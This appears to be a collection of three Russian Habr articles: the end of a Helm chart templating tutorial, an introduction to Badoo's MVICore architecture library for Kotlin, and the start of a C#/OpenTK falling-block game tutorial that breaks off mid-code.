Еще одна уловка. Смотрите, imagePullPolicy с 1 по 3 выглядит одинаково. Что мы сделали? Вы можете заменить уродливые названия вот так:
`deployment.yaml`
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec: #
replicas1: {{ .Values.replicaCount }}
template:
spec:
containers:
- name: {{ .Chart.Name }}
image1: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
# imagePullPolicy1: {{ quote .Values.image.pullPolicy }}
imagePullPolicy1: {{ quote .Values.image.pullPolicy }}
# imagePullPolicy2: {{ .Values.image.pullPolicy | quote }}
imagePullPolicy2: {{ .Values.image.pullPolicy | quote }}
imagePullPolicy3: " .Values.image.pullPolicy "
imagePullPolicy3: "{{ .Values.image.pullPolicy }}"
imagePullPolicy4: .Values.image.pullPolicy | upper
imagePullPolicy4: {{ .Values.image.pullPolicy | upper }}
imagePullPolicy5: .Values.image.pullPolicy | lower
imagePullPolicy5: {{ .Values.image.pullPolicy | lower }}
{{ $variable := 123 }}
variable: $variable
variable: {{ $variable }}
```
```
helm install .\myhelm1\ --name test5 --dry-run --debug | grep -vE 'debug]|NAME|REVIS|RELEA|ART:|OKS:|FEST:'
```
На выходе получается:
```
- name: myhelm1
image1: "radial/busyboxplus:base"
# imagePullPolicy1: "IfNotPresent"
imagePullPolicy1: "IfNotPresent"
# imagePullPolicy2: "IfNotPresent"
imagePullPolicy2: "IfNotPresent"
imagePullPolicy3: " .Values.image.pullPolicy "
imagePullPolicy3: "IfNotPresent"
imagePullPolicy4: .Values.image.pullPolicy | upper
imagePullPolicy4: IFNOTPRESENT
imagePullPolicy5: .Values.image.pullPolicy | lower
imagePullPolicy5: ifnotpresent
```
Комментарии к заметкам не помогают. Интерпретируется синтаксис шаблона внутри комментариев.
Удаление `{{ and }}` всегда работает. Затем вы можете просмотреть исходный код шаблона и результат в следующей строке выходных данных.
Лучший способ показать заголовки того, что было протестировано, — это использовать `{ { and { }` вместо `{{ and }}`… политики 1 ниже.
`{ and }` также работает в заголовках и очень похож на синтаксис чтения `{{ and }}`
```
imagePullPolicy1: { { quote .Values.image.pullPolicy } }
imagePullPolicy1: {{ quote .Values.image.pullPolicy }}
imagePullPolicy2: { .Values.image.pullPolicy | quote }
imagePullPolicy2: {{ .Values.image.pullPolicy | quote }}
```
Отобразится как:
```
imagePullPolicy1: { { quote .Values.image.pullPolicy } }
imagePullPolicy1: "IfNotPresent"
imagePullPolicy2: { .Values.image.pullPolicy | quote }
imagePullPolicy2: "IfNotPresent"
```
```
helm install .\myhelm1\ --set replicaCount={1,2,3} --name test5 --dry-run --debug | grep -vE 'debug]|NAME|REVIS|RELEA|ART:|OKS:|FEST:'
```
### Обучение на других шаблонах
В официальном репозитории Helm по адресу <https://github.com/helm/charts> есть почти 300 превосходных примеров диаграмм и шаблонов Helm.
Вы хотите учиться у лучших: у этих людей.
Вы увидите, что всего после этих двух руководств вы уже сможете понять более 80% всего кодирования шаблонов. (Но эти 2 руководства охватывают примерно 10 процентов синтаксиса).
Теперь у вас есть 4 независимых разных способа изучения чартов и шаблонов:
• официальные справочные документы Helm
• эти 2 практических урока
• 300 превосходных примеров диаграмм Helm
• метод быстрого взлома, который вы можете использовать для вырезания и быстрого изучения этих 3 источников с помощью быстрых интерактивных упражнений
Справочная документация Helm сосредоточена на деталях на низком уровне.
Ищите идеи для проектирования структурных диаграмм, просматривая репозиторий диаграмм Helm.
Из <https://github.com/helm/charts/blob/master/stable/lamp/templates/NOTES.txt>
Посмотрите, как на чарте LAMP отображается справочный текст только для определенных примечаний `.Values.ingress.enabled`
```
{{- if .Values.ingress.enabled }}
INGRESS:
Please make sure that you have an ingress controller instance {{ if .Values.ingress.ssl }}and a lego instance
{{- end -}} running
and that you have configured the A Records of {{ template "lamp.domain" . }} and its
subdomains to point to your ingress controllers ip address.
{{- else }}
```
Большинство других чартов используют эту идею, поскольку чарты бесконечно гибки: многие функции можно включить или отключить.
Другой пример использования отображения NOTES.txt в зависимости от того, что активировал пользователь: <https://github.com/helm/charts/blob/master/stable/lamp/templates/NOTES.txt>
```
1. You can now connect to the following services:
{{- if not .Values.ingress.enabled }}
export CHARTIP=$(kubectl get svc {{ template "lamp.fullname" . }} --output=jsonpath={.status.loadBalancer.ingress..ip})
{{- end }}
Main Site:
{{- if .Values.ingress.enabled }}
http{{ if .Values.ingress.ssl }}s{{ end }}://{{ template "lamp.domain" . }}
{{- else }}
http://$CHARTIP
{{- end }}
{{- if .Values.phpmyadmin.enabled }}
PHPMyAdmin:
{{- if .Values.ingress.enabled }}
http{{ if .Values.ingress.ssl }}s{{ end }}://{{ .Values.phpmyadmin.subdomain }}.{{ template "lamp.domain" . }}
{{- else }}
http://$CHARTIP:{{ .Values.phpmyadmin.port }}
{{- end }}
{{- end }}
```
Другой часто используемый метод — предупредить пользователей, если чарт настроен неправильно или небезопасно: <https://github.com/helm/charts/blob/master/stable/mongodb/templates/NOTES.txt>
```
{{- if contains .Values.service.type "LoadBalancer" }}
{{- if not .Values.mongodbRootPassword }}
-------------------------------------------------------------------------------
WARNING
By specifying "service.type=LoadBalancer" and not specifying "mongodbRootPassword"
you have most likely exposed the MongoDB service externally without any
authentication mechanism.
For security reasons, we strongly suggest that you switch to "ClusterIP" or
"NodePort". As alternative, you can also specify a valid password on the
"mongodbRootPassword" parameter.
-------------------------------------------------------------------------------
{{- end }}
{{- end }}
```
Прекрасный пример того, как обращаться с `.Values.service.type` "`NodePort`", "`LoadBalancer`" или "ClusterIP": <https://github.com/helm/charts/blob/master/stable/mongodb/templates/NOTES.txt>
```
To connect to your database from outside the cluster execute the following commands:
{{- if contains "NodePort" .Values.service.type }}
export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}")
export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ template "mongodb.fullname" . }})
mongo --host $NODE_IP --port $NODE_PORT {{- if .Values.usePassword }} --authenticationDatabase admin -p $MONGODB_ROOT_PASSWORD{{- end }}
{{- else if contains "LoadBalancer" .Values.service.type }}
NOTE: It may take a few minutes for the LoadBalancer IP to be available.
Watch the status with: 'kubectl get svc --namespace {{ .Release.Namespace }} -w {{ template "mongodb.fullname" . }}'
export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ template "mongodb.fullname" . }} --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}")
mongo --host $SERVICE_IP --port {{ .Values.service.nodePort }} {{- if .Values.usePassword }} --authenticationDatabase admin -p $MONGODB_ROOT_PASSWORD{{- end }}
{{- else if contains "ClusterIP" .Values.service.type }}
kubectl port-forward --namespace {{ .Release.Namespace }} svc/{{ template "mongodb.fullname" . }} 27017:27017 &
mongo --host 127.0.0.1 {{- if .Values.usePassword }} --authenticationDatabase admin -p $MONGODB_ROOT_PASSWORD{{- end }}
{{- end }}
```
Благодаря этим примерам вы потратили менее 3 минут на изучение некоторых примеров чартов. Вы можете спокойно провести там день (и оно того стоит… если вы будете делать заметки).
### Как использовать .Files.Get
На <https://docs.helm.sh/chart_template_guide/>… Доступ к файлам внутри шаблонов… (нельзя напрямую ссылаться на этот абзац) есть несколько примеров того, как включать файлы в шаблоны.
В репозитории Helm есть 80 примеров использования `.Files.Get.`
<https://github.com/helm/charts/search?utf8=%E2%9C%93&q=.Files.Get&type>=
В первых 10 результатах я обнаружил 5 различных вариантов использования `.Files.Get.`
Чтобы узнать больше о Helm, посетите <https://github.com/helm/charts/tree/master/stable>. | https://habr.com/ru/post/548720/ | null | ru | null |
# Современная MVI-архитектура на базе Kotlin
За последние два года Android-разработчики в Badoo прошли длинный тернистый путь от MVP к совершенно иному подходу к архитектуре приложений. Мы с [ANublo](https://habr.com/users/anublo/) хотим поделиться переводом статьи нашего коллеги [Zsolt Kocsi](https://badootech.badoo.com/@zsolt.kocsi), описывающую проблемы, с которыми мы столкнулись, и их решение.
Это первая из нескольких статей, посвящённых разработке современной MVI-архитектуры на Kotlin.
Начнём с начала: проблемы состояний
-----------------------------------
В каждый момент времени у приложения есть определённое состояние, которое задаёт его поведение и то, что видит пользователь. Если сфокусироваться лишь на паре классов, это состояние включает в себя все значения переменных — от простых флагов до отдельных объектов. Каждая из этих переменных живёт своей жизнью и управляется различными частями кода. Определить текущее состояние приложения можно, лишь проверив их все одну за другой.
Работая над кодом, мы создаём уже существующую у нас в голове модель работы системы. Мы легко реализуем идеальные случаи, когда всё идет по плану, но совершенно неспособны просчитать все возможные проблемы и состояния приложения. И рано или поздно одно из не предусмотренных нами состояний нас настигнет, и мы столкнёмся с багом.
Изначально код пишется в соответствии с нашими представлениями о том, как система должна работать. Но в дальнейшем, проходя через [пять стадий отладки](http://i.imgur.com/qsLx1Ip.jpg), приходится мучительно всё переделывать, попутно меняя сложившуюся в голове модель уже созданной системы. Остаётся надеяться, что рано или поздно к нам придёт понимание того, что же пошло не так, и баг будет исправлен.
Но так везёт далеко не всегда. Чем сложнее система, тем больше шансов столкнуться с каким-нибудь непредвиденным состоянием, отладка которого ещё долго будет сниться в ночных кошмарах.
В Badoo все приложения существенно асинхронны — не только из-за обширного функционала, доступного пользователю через UI, но и из-за возможности односторонней отправки данных сервером. На состояние и поведение приложения оказывает влияние многое — от изменения статуса оплаты до новых совпадений и запросов верификации.
В результате в нашем чат-модуле нам попалось несколько странных и трудновоспроизводимых багов, попортивших всем немало крови. Иногда тестировщикам удавалось их записать, но на устройстве разработчика они не повторялись. Из-за асинхронности кода повторение в полном объёме той или иной цепочки событий было крайне маловероятно. И поскольку приложение не падало, у нас даже не было стек-трейса, который показал бы, откуда начинать поиски.
Clean Architecture ([чистая архитектура](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html)) тоже не смогла нам помочь. Даже после того как мы переписали чат-модуль, A/B-тесты выявляли небольшие, но значимые несоответствия в количестве сообщений пользователей, использовавших новый и старый модули. Мы решили, что это связано с трудновоспроизводимостью багов и состоянием гонки. Несоответствие сохранялось и после проверки всех остальных факторов. Интересы компании страдали, разработчикам было тяжело поддерживать код.
Нельзя выпускать новый компонент, если он работает хуже существующего, но не выпускать его тоже нельзя — раз уж потребовалось обновление, значит, на то была причина. Итак, необходимо разобраться, почему в системе, которая выглядит совершенно нормально и не вылетает, падает число сообщений.
Откуда же начинать поиски?
Спойлер: это не вина Clean Architecture — виноват, как всегда, человеческий фактор. В конечном итоге мы, конечно, исправили эти баги, но потратили на это много времени и сил. Тогда мы задумались: а нет ли более простого способа избежать возникновения этих проблем?
Свет в конце туннеля…
---------------------
Модные термины вроде Model-View-Intent и «однонаправленный поток данных» нам хорошо знакомы. Если в вашем случае это не так, советую их загуглить — в Интернете много статей на эти темы. Android-разработчикам особенно рекомендую [материал Ханнеса Дорфмана в восьми частях](http://hannesdorfmann.com/android/mosby3-mvi-1).
Мы начали играть с этими взятыми из веб-разработки идеями ещё в начале 2017 года. Подходы наподобие Flux и Redux оказались очень полезны — они помогали нам справиться со многими проблемами.
Прежде всего, очень полезно содержать все элементы состояния (переменные, влияющие на UI и запускающие различные действия) в одном объекте — **State**. Когда всё хранится в одном месте, лучше видна общая картина. Например, если вы хотите представить загрузку данных с использованием такого подхода, то вам потребуются поля *payload* и *isLoading*. Взглянув на них, вы увидите, когда данные получены (*payload*) и показывается ли при этом пользователю анимация (*isLoading*).
Далее, если мы отойдём от параллельного выполнения кода с колбеками и выразим изменения состояния приложения в виде серии транзакций, мы получим единую точку входа. Представляем вам **Reducer**, прибывший к нам из функционального программирования. Он берёт текущее состояние и данные о дальнейших действиях (**Intent**) и создаёт из них новое состояние:
`Reducer = (State, Intent) -> State`
Продолжая предыдущий пример с загрузкой данных, мы получаем следующие действия:
* **StartedLoading**
* **FinishedWithSuccess**
Тогда можно создать Reducer со следующими правилами:
1. В случае **StartedLoading** создать новый объект **State**, скопировав старый, и установить значение *isLoading* как true.
2. В случае **FinishedWithSuccess** создать новый объект **State**, скопировав старый, в котором значение *isLoading* будет установлено как false, а значение *payload* будет
соответствовать загруженному.
Если мы выведем получившуюся серию **State** в лог, мы увидим следующее:
1. State (*payload* = null, *isLoading* = false) — изначальное состояние.
2. State (*payload* = null, *isLoading* = true) — после StartedLoading.
3. State (*payload* = данные, *isLoading* = false) — после FinishedWithSuccess.
Подключив эти состояния к UI, вы увидите все стадии процесса: сначала пустой экран, затем экран загрузки и, наконец, нужные данные.
У такого подхода есть множество плюсов.
* Во-первых, централизованно изменяя состояние при помощи серии транзакций, мы не допускаем состояния гонки и множества незаметных раздражающих багов.
* Во-вторых, изучив серию транзакций, мы можем понять, что случилось, почему это случилось и как это повлияло на состояние приложения. Кроме того, с Reducer намного проще представить все изменения состояния ещё до первого запуска приложения на девайсе.
* Наконец, мы имеем возможность создать простой интерфейс. Раз уж все состояния хранятся в одном месте (Store), которое учитывает намерения (Intents), вносит изменения при помощи Reducer и наглядно демонстрирует цепочку состояний, значит, можно поместить всю бизнес-логику в Store и использовать интерфейс для запуска намерений и выведения состояний.
Или нельзя?
…может быть поездом, несущимся на вас
-------------------------------------
Одного Reducer явно недостаточно. Как быть с асинхронными задачами с различными результатами? Как реагировать на пуши с сервера? Как быть с запуском дополнительных задач (например, очистки кеша или загрузки данных из локальной базы) после изменения состояния? Выходит, что либо мы не включаем всю эту логику в Reducer (то есть добрая половина бизнес-логики окажется не охвачена, и о ней придётся позаботиться тем, кто решит воспользоваться нашим компонентом), либо заставляем Reducer заниматься всем сразу.
Требования к MVI-фреймворку
---------------------------
Нам, конечно, хотелось бы заключить всю бизнес-логику отдельной фичи в самостоятельный компонент, с которым разработчики из других команд могли бы легко работать, просто создав его экземпляр и подписавшись на его состояние.
Кроме того:
* он должен легко взаимодействовать с другими компонентами системы;
* в его внутренней структуре должно быть чёткое разделение обязанностей;
* все внутренние части компонента должны быть полностью детерминированными;
* базовая реализация такого компонента должна быть простой и усложняться только при необходимости подключения дополнительных элементов.
Мы не сразу перешли от Reducer к решению, которое используем сегодня. Каждая команда сталкивалась с проблемами при использовании различных подходов, и разработка универсального решения, которое устроило бы всех, казалась маловероятной.
И все же, текущее положение вещей устраивает всех. Рады представить вам MVICore! Исходный код библиотеки открыт и доступен на [GitHub](https://github.com/badoo/MVICore).
Чем хорош MVICore
-----------------
* Лёгкий способ реализации бизнес-фич в стиле реактивного программирования с однонаправленным потоком данных.
* Масштабирование: базовая реализация включает только Reducer, а в более сложных случаях можно задействовать дополнительные компоненты.
* Решение для работы с событиями, которые вы не хотите включать в состояние ([проблема SingleLiveEvent](https://github.com/googlesamples/android-architecture-components/issues/63)).
* Простой API для привязки фич (и других реактивных компонентов вашей системы) к UI и друг к другу с поддержкой жизненного цикла Android (и не только).
* Поддержка Middleware (об этом ниже) для каждого компонента системы.
* Готовый логгер и возможность time travel дебага для каждого компонента.
Краткое введение в Feature
--------------------------
Поскольку на GitHub уже выложена пошаговая инструкция, я опущу подробные примеры и остановлюсь на основных составляющих фреймворка.
**Feature** — центральный элемент фреймворка, содержащий всю бизнес-логику компонента. Feature определяется тремя параметрами: *interface Feature*
**Wish** соответствует Intent из Model-View-Intent — это те изменения, которые мы хотим видеть в модели (поскольку термин Intent имеет своё значение в среде Android-разработчиков, нам пришлось найти другое название). Wish — это точка входа для Feature.
**State** — это, как вы уже поняли, состояние компонента. State не изменяем (immutable): мы не можем менять его внутренние значения, но можем создавать новые States. Это и выходные данные: всякий раз, создавая новое состояние, мы передаём его в Rx-стрим.
**News** — компонент для обработки сигналов, которых не должно быть в State; News используется один раз при создании ([проблема SingleLiveEvent](https://github.com/googlesamples/android-architecture-components/issues/63)). Использование News необязательно (в сигнатуре Feature можно использовать Nothing из Kotlin).
Также в Feature обязательно должен присутствовать **Reducer**.
Feature может содержать следующие компоненты:
* Actor — выполняет асинхронные задачи и/или условные модификации состояния, основанные на текущем состоянии (например, валидация формы). Actor привязывает Wish к определённому числу Effect, а затем передаёт его Reducer (в случае отсутствия Actor Reducer получает Wish напрямую).
* NewsPublisher — вызывается, когда Wish становится любым Effect, который даёт результат в виде нового State. По этим данным он решает, создавать ли News.
* PostProcessor — тоже вызывается после создания нового State и тоже знает, какой эффект привёл к его созданию. Он запускает те или иные дополнительные действия (Actions). Action — это «внутренние Wishes» (например, очистка кеша), которые нельзя запустить извне. Они выполняются в Actor, что приводит к новой цепочке Effects и States.
* Bootstrapper — компонент, который может запускать действия самостоятельно. Его главная функция — инициализация Feature и/или соотнесение внешних источников с Action. Этими внешними источниками могут быть News из другой Feature или данные сервера, которые должны модифицировать State без участия пользователя.
Схема может выглядеть просто:
или включать в себя все перечисленные выше дополнительные компоненты:
Сама же Feature, содержащая всю бизнес-логику и готовая к использованию, выглядит проще некуда:
Что ещё?
--------
Feature, краеугольный камень фреймворка, работает на концептуальном уровне. Но библиотека может предложить гораздо больше.
* Поскольку все компоненты Feature детерминированы (за исключением Actor, который не полностью детерминирован, поскольку взаимодействует с внешними источниками данных, но даже при этом выполняемая им ветвь определяется вводными данными, а не внешними условиями), каждый из них можно обернуть в Middleware. При этом в библиотеке уже содержатся готовые решения для логгинга и [time travel дебага](https://badootech.badoo.com/time-travel-debug-everything-droidconuk-2018-lightning-talk-445217258401).
* Middleware применимо не только к Feature, но и к любым другим объектам, реализующим интерфейс Consumer<Т>, что делает его незаменимым инструментом отладки.
* При использовании дебаггера для отладки при движении в обратном направлении можно внедрить модуль [DebugDrawer](https://github.com/palaima/DebugDrawer).
* Библиотека включает в себя плагин IDEA, который можно использовать для добавления шаблонов самых распространённых реализаций Feature, что позволяет сэкономить кучу времени.
* Имеются вспомогательные классы для поддержки Android, но сама библиотека к Android не привязана.
* Есть готовое решение для привязки компонентов к UI и друг к другу через элементарный API (о нём пойдёт речь в следующей статье).
Надеемся, вы попробуете нашу [библиотеку](https://github.com/badoo/MVICore) и её использование доставит вам столько же радости, сколько нам — её создание!
> 24 и 25 ноября можно попробовать свои силы и присоединиться к нам! Мы проведём mobile hiring event: за один день можно будет пройти все этапы отбора и получить оффер. Общаться с кандидатами в Москву приедут мои коллеги из iOS- и Android-команд. Если вы из другого города, расходы на проезд берёт на себя Badoo. Чтобы получить приглашение, пройдите отборочный тест [по ссылке](https://events.badoo.com/mvi1). Удачи! | https://habr.com/ru/post/429728/ | null | ru | null |
# Impressive Solids: делаем игру на C# под OpenGL, часть I
### Once Upon a Time in America
Когда-то, году в 2002-м, на мой компьютер попала интересная игрушка, так сказать, класса тетриса (подробное описание геймплея приведено ниже); она очень полюбилась моей маме, которая играла в эту игру часами. Однако был досадный недостаток: после, кажется, 10 запусков игра начинала требовать регистрацию, которая, что удивительно, была бесплатной, но через интернет, что, само собой, являлось непреодолимым препятствием, поскольку интернета-то никакого тогда в наших краях в глаза не видывали, хоть и слыхали, что есть такая штука. Приходилось постоянно переустанавливать.
Через года три, когда интернет уже провели, а игра успела стать shareware и начать просить за регистрацию сколько-то денег, я попробовал её зарегистрировать, однако сайт производителя был к тому времени скорее мёртв, чем жив, и, по-видимому, остаётся таким и по сей день. В интернете легко находится shareware-версия игры, множество, не побоюсь этого слова, кейгенов, являющихся на самом деле троянами, и ни одной возможности зарегистрировать игру, чтобы мама могла в неё играть уже совсем на другом компьютере. В какой-то момент я подумал: а почему бы просто самому не сделать аналогичную игру и решить тем самым проблему на корню? Заодно из этого может получится какой-никакой hello-world по разработке простой игры для ПК в современных условиях — который я и предлагаю вниманию читателей.
 Итак, что же за игру мы будем делать? Суть такова. В прямоугольном стакане 7×13 падает горизонтальная палка, состоящая из 3 цветных блоков (всего есть 5 цветов). Во время движения её можно двигать вправо-влево, а также менять блоки местами в порядке ротации справа налево (красный, зелёный, синий → зелёный, синий, красный). Как только палка коснётся пола стакана или же какого-нибудь из находящихся в стакане неподвижных блоков, ею больше управлять нельзя. Блоки, составляющие палку, продолжают падение отдельно до тех пор, пока не станут на неподвижный блок или пол стакана. После этого проверяется, не получилась ли в стакане горизонтальная, вертикальная или диагональная линия из трёх или более блоков одного цвета; такие линии уничтожаются. Если сверху уничтоженной линии были блоки, они сползают вниз на образовавшееся пустое место, после этого снова происходит уничтожение образовавшихся линий. Когда всё устаканилось, сверху начинает падать новая палка. За выстраивание уничтожаемых линий игрок получает очки. Игра заканчивается, когда стакан заполнен доверху.
Технологии. Игру будем делать на C# (давно хотел посмотреть, что же это такое), OpenGL (DirectX работает только под Windows, а я больше люблю Linux), Mercurial для контроля версий (писать код без VCS — неуважение к себе).
Игра будет называться Impressive Solids.
### Inception
Разработку под Windows будем вести в [Microsoft Visual C# 2010 Express](http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-csharp-express) (распространяется бесплатно). Также нам понадобится [TortoiseHg](http://tortoisehg.bitbucket.org/) — Windows-клиент системы контроля версий Mercurial. Под системы на базе Linux будем использовать MonoDevelop и консольный hg.
Для подключения OpenGL задействуем binding [OpenTK](http://www.opentk.com/). Нужно скачать свежий [nightly build](http://sourceforge.net/projects/opentk/files/opentk/nightly/) (на момент написания статьи: 2011-12-03).
Создаём в Visual C# Express новый empty project под названием ImpressiveSolids. Сохраняем. Затем открываем директорию с проектом, вызываем для неё контекстное меню и выбираем TortoiseHg → Create Repository Here. Отмечаем пункты создания файла .hgignore и открытия workbench после инициализации.
Открываем в Visual C# Express файл .hgignore и записываем в него следующие строки. Это нужно для того, чтобы система контроля версий не учитывала ненужные бинарные файлы.
```
syntax: glob
*.suo
*.pidb
ImpressiveSolids/bin/*
ImpressiveSolids/obj/*
```
Внутри директории solution (не проекта; там, где лежит .hgignore) создаём поддиректорию OpenTK и копируем в неё файлы OpenTK\*.dll и OpenTK\*.dll.config из директории opentk\Binaries\OpenTK\Release\ в архиве OpenTK.
В Visual C# Express контекстное меню References → Add Reference → Browse. Выбираем ../OpenTK/OpenTK.dll. Кроме того, нужно добавить reference на System.Drawing с вкладки .NET.
Создаём новый класс `Game`. Это главный класс программы, в нём находится точка входа, а сам он — наследник `OpenTK.GameWindow` и отвечает за обновление состояния игры (`OnUpdateFrame`) и перерисовку (`OnRenderFrame`). Сейчас это будет просто чёрное окно.
```
using System;
using OpenTK;
using OpenTK.Graphics;
using OpenTK.Graphics.OpenGL;
namespace ImpressiveSolids {
class Game : GameWindow {
[STAThread]
static void Main() {
using (var Game = new Game()) {
Game.Run(30);
}
}
public Game()
: base(700, 500, GraphicsMode.Default, "Impressive Solids") {
VSync = VSyncMode.On;
}
protected override void OnLoad(EventArgs E) {
base.OnLoad(E);
}
protected override void OnResize(EventArgs E) {
base.OnResize(E);
GL.Viewport(ClientRectangle.X, ClientRectangle.Y, ClientRectangle.Width, ClientRectangle.Height);
}
protected override void OnUpdateFrame(FrameEventArgs E) {
base.OnUpdateFrame(E);
}
protected override void OnRenderFrame(FrameEventArgs E) {
base.OnRenderFrame(E);
GL.ClearColor(Color4.Black);
GL.Clear(ClearBufferMask.ColorBufferBit | ClearBufferMask.DepthBufferBit);
SwapBuffers();
}
}
}
```
Заходим в свойства проекта (Project → ImpressiveSolids Properties) и указываем Target framework: .NET Framework 2.0; Output type: Windows Application; Startup object: ImpressiveSolids.Game.
Можно сохранять и запускать, должно появиться чёрное окно размером 700×500 с заголовком «Impressive Solids».
Если всё прошло гладко, идём в TortoiseHg Workbench и коммитим всё с пометкой «Initial game window».
### The Fall
Реализуем управляемое падение палки. Для этого прежде всего нужно задать модель текущего состояния палки. Во-первых, позиция. По умолчанию — сверху по центру стакана. Будем считать, что (0; 0) соответствует верхнему левому углу стакана. Нужно, кстати, задать его размеры `MapWidth`, `MapHeight`. Цвета блоков, составляющих палку, будем хранить как массив целых чисел; зададим количество возможных цветов `ColorsCount` и договоримся, что цвет обозначается целочисленным значением от `0` до `ColorsCount − 1`.
Добавим в класс Game метод New и вызовем его из OnLoad. В этом методе реализуем построение палки из блоков случайных цветов.
```
private Random Rand;
private const int MapWidth = 7;
private const int MapHeight = 13;
private const int StickLength = 3;
private int[] StickColors;
private Vector2 StickPosition;
private const int ColorsCount = 5;
protected override void OnLoad(EventArgs E) {
base.OnLoad(E);
New();
}
private void New() {
Rand = new Random();
StickColors = new int[StickLength];
for (var i = 0; i < StickLength; i++) {
StickColors[i] = Rand.Next(ColorsCount);
}
StickPosition.X = (float)Math.Floor((MapWidth - StickLength) / 2d);
StickPosition.Y = 0;
}
```
Попробуем отобразить нашу палку на экране, пока в самом примитивном варианте (блок изображаем цветным прямоугольником, стакан начинаем прямо в верхнем левом углу окна). Внесём в код некоторые изменения.
```
private const int NominalWidth = 700;
private const int NominalHeight = 500;
private float ProjectionWidth;
private float ProjectionHeight;
private const int SolidSize = 35;
private Color4[] Colors = {Color4.PaleVioletRed, Color4.LightSeaGreen, Color4.CornflowerBlue, Color4.RosyBrown, Color4.LightGoldenrodYellow};
public Game()
: base(NominalWidth, NominalHeight, GraphicsMode.Default, "Impressive Solids") {
VSync = VSyncMode.On;
}
protected override void OnResize(EventArgs E) {
base.OnResize(E);
GL.Viewport(ClientRectangle.X, ClientRectangle.Y, ClientRectangle.Width, ClientRectangle.Height);
ProjectionWidth = NominalWidth;
ProjectionHeight = (float)ClientRectangle.Height / (float)ClientRectangle.Width * ProjectionWidth;
if (ProjectionHeight < NominalHeight) {
ProjectionHeight = NominalHeight;
ProjectionWidth = (float)ClientRectangle.Width / (float)ClientRectangle.Height * ProjectionHeight;
}
}
protected override void OnRenderFrame(FrameEventArgs E) {
base.OnRenderFrame(E);
GL.ClearColor(Color4.Black);
GL.Clear(ClearBufferMask.ColorBufferBit | ClearBufferMask.DepthBufferBit);
var Projection = Matrix4.CreateOrthographic(-ProjectionWidth, -ProjectionHeight, -1, 1);
GL.MatrixMode(MatrixMode.Projection);
GL.LoadMatrix(ref Projection);
GL.Translate(ProjectionWidth / 2, -ProjectionHeight / 2, 0);
var Modelview = Matrix4.LookAt(Vector3.Zero, Vector3.UnitZ, Vector3.UnitY);
GL.MatrixMode(MatrixMode.Modelview);
GL.LoadMatrix(ref Modelview);
GL.Begin(BeginMode.Quads);
for (var i = 0; i < StickLength; i++) {
RenderSolid(StickPosition.X + i, StickPosition.Y, StickColors[i]);
}
GL.End();
SwapBuffers();
}
private void RenderSolid(float X, float Y, int Color) {
GL.Color4(Colors[Color]);
GL.Vertex2(X * SolidSize, Y * SolidSize);
GL.Vertex2((X + 1) * SolidSize, Y * SolidSize);
GL.Vertex2((X + 1) * SolidSize, (Y + 1) * SolidSize);
GL.Vertex2(X * SolidSize, (Y + 1) * SolidSize);
}
```
Ухищрения с `Nominal/Projection Width/Height` понадобились для того, чтобы изображение масштабировалось при изменении размеров окна, но в то же время пропорции не искажались.
Теперь сделаем наконец, чтобы палка падала и чтобы работали клавиши ←, →, ↑ (ротация цветов).
```
public Game()
: base(NominalWidth, NominalHeight, GraphicsMode.Default, "Impressive Solids") {
VSync = VSyncMode.On;
Keyboard.KeyDown += new EventHandler(OnKeyDown);
}
protected override void OnUpdateFrame(FrameEventArgs E) {
base.OnUpdateFrame(E);
StickPosition.Y += 0.02f;
}
protected void OnKeyDown(object Sender, KeyboardKeyEventArgs E) {
if (Key.Left == E.Key) {
--StickPosition.X;
} else if (Key.Right == E.Key) {
++StickPosition.X;
} else if (Key.Up == E.Key) {
var T = StickColors[0];
for (var i = 0; i < StickLength - 1; i++) {
StickColors[i] = StickColors[i + 1];
}
StickColors[StickLength - 1] = T;
}
}
```
Коммитим все изменения: «The stick, falling and controllable».
Как видим, пока нет проверки на выход за границы стакана. Исправим это упущение в дальнейшем.
### A Map of the World
Займёмся ситуацией, когда палка опустилась на пол или на уже присутствующие в стакане блоки. Пока не будем разбираться с последующим неконтролируемым падением блоков и уничтожением линий, а сделаем просто, чтобы составляющие палку блоки застывали на месте (даже повисая в воздухе) и начинала падать следующая палка.
Смоделируем состояние стакана в виде двумерного массива целых чисел. Координаты будут соответствовать клетчатой сетке стакана, значениями будет цвет блока в данной клетке — или отрицательное число, если в клетке пусто.
Здесь уже будет необходимо ввести проверку на выход палки за границы стакана, иначе возникнут обращения к массиву по несуществующим индексам.
```
private int[,] Map;
private void New() {
Rand = new Random();
Map = new int[MapWidth, MapHeight];
for (var X = 0; X < MapWidth; X++) {
for (var Y = 0; Y < MapHeight; Y++) {
Map[X, Y] = -1;
}
}
StickColors = new int[StickLength];
GenerateNextStick();
}
private void GenerateNextStick() {
for (var i = 0; i < StickLength; i++) {
StickColors[i] = Rand.Next(ColorsCount);
}
StickPosition.X = (float)Math.Floor((MapWidth - StickLength) / 2d);
StickPosition.Y = 0;
}
protected override void OnUpdateFrame(FrameEventArgs E) {
base.OnUpdateFrame(E);
StickPosition.Y += 0.02f;
var FellOnFloor = (StickPosition.Y >= MapHeight - 1);
var FellOnBlock = false;
if (!FellOnFloor) {
var Y = (int)Math.Floor(StickPosition.Y + 1);
for (var i = 0; i < StickLength; i++) {
var X = (int)StickPosition.X + i;
if (Map[X, Y] >= 0) {
FellOnBlock = true;
break;
}
}
}
if (FellOnFloor || FellOnBlock) {
var Y = (int)Math.Floor(StickPosition.Y);
for (var i = 0; i < StickLength; i++) {
var X = (int)StickPosition.X + i;
Map[X, Y] = StickColors[i];
}
GenerateNextStick();
}
}
protected void OnKeyDown(object Sender, KeyboardKeyEventArgs E) {
if ((Key.Left == E.Key) && (StickPosition.X > 0)) {
--StickPosition.X;
} else if ((Key.Right == E.Key) && (StickPosition.X + StickLength < MapWidth)) {
++StickPosition.X;
} else if (Key.Up == E.Key) {
// . . .
}
}
protected override void OnRenderFrame(FrameEventArgs E) {
// . . .
GL.Begin(BeginMode.Quads);
